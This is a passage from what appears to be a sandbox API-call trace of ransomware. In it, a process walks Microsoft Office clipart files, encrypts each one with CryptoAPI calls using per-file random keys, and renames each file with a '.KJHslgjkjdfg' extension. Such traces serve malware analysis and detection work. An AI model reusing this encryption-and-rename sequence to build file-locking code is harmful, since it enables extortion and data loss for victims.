hHeap=0x990000) returned 1 [0190.273] GetProcessHeap () returned 0x990000 [0190.273] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.kjhslgjkjdfg")) returned 1 [0190.275] CloseHandle (hObject=0x130) returned 1 [0190.275] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0190.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.275] GetProcessHeap () returned 0x990000 [0190.275] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.275] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.276] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0190.278] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.278] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.278] GetProcessHeap () returned 0x990000 [0190.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.278] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.278] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.278] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.278] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.278] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.278] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.278] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.279] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.279] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.279] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x23d4, lpOverlapped=0x0) returned 1 [0190.280] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23e0, dwBufLen=0x23e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23e0) returned 1 [0190.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.280] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x23e0, lpOverlapped=0x0) returned 1 [0190.280] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.280] SetEndOfFile (hFile=0x130) returned 1 [0190.283] GetProcessHeap () returned 0x990000 [0190.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.283] GetProcessHeap () returned 0x990000 [0190.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.kjhslgjkjdfg")) returned 1 [0190.284] CloseHandle (hObject=0x130) returned 1 [0190.284] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0190.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.286] GetProcessHeap () returned 0x990000 [0190.286] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.286] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.286] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.288] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.288] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.288] GetProcessHeap () returned 0x990000 [0190.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.288] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.288] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.289] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.289] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.289] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.289] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.289] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.289] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x31cc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x31cc, lpOverlapped=0x0) returned 1 [0190.290] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31d0, dwBufLen=0x31d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31d0) returned 1 [0190.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.290] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x31d0, lpOverlapped=0x0) returned 1 [0190.290] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.291] SetEndOfFile (hFile=0x130) returned 1 [0190.293] GetProcessHeap () returned 0x990000 [0190.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.294] GetProcessHeap () returned 0x990000 [0190.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.kjhslgjkjdfg")) returned 1 [0190.295] CloseHandle (hObject=0x130) returned 1 [0190.295] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0190.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.295] GetProcessHeap () returned 0x990000 [0190.296] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.296] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.296] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.298] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.298] GetProcessHeap () returned 0x990000 [0190.298] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.298] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.298] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.298] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.298] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.298] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.299] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.299] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.299] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b08, lpOverlapped=0x0) returned 1 [0190.299] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b10) returned 1 [0190.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.300] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b10, lpOverlapped=0x0) returned 1 [0190.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.300] SetEndOfFile (hFile=0x130) returned 1 [0190.301] GetProcessHeap () returned 0x990000 [0190.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.301] GetProcessHeap () returned 0x990000 [0190.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.kjhslgjkjdfg")) returned 1 [0190.302] CloseHandle (hObject=0x130) returned 1 [0190.302] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0190.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.303] GetProcessHeap () returned 0x990000 [0190.303] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.303] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.303] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.305] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.305] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.306] GetProcessHeap () returned 0x990000 [0190.306] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.306] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.306] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.306] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.306] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.306] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.306] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.306] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.306] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.306] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.306] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4e8, lpOverlapped=0x0) returned 1 [0190.307] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f0) returned 1 [0190.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.307] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4f0, lpOverlapped=0x0) returned 1 [0190.307] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.307] SetEndOfFile (hFile=0x130) returned 1 [0190.310] GetProcessHeap () returned 0x990000 [0190.310] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.310] GetProcessHeap () returned 0x990000 [0190.310] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.kjhslgjkjdfg")) returned 1 [0190.311] CloseHandle (hObject=0x130) returned 1 [0190.311] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0190.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.312] GetProcessHeap () returned 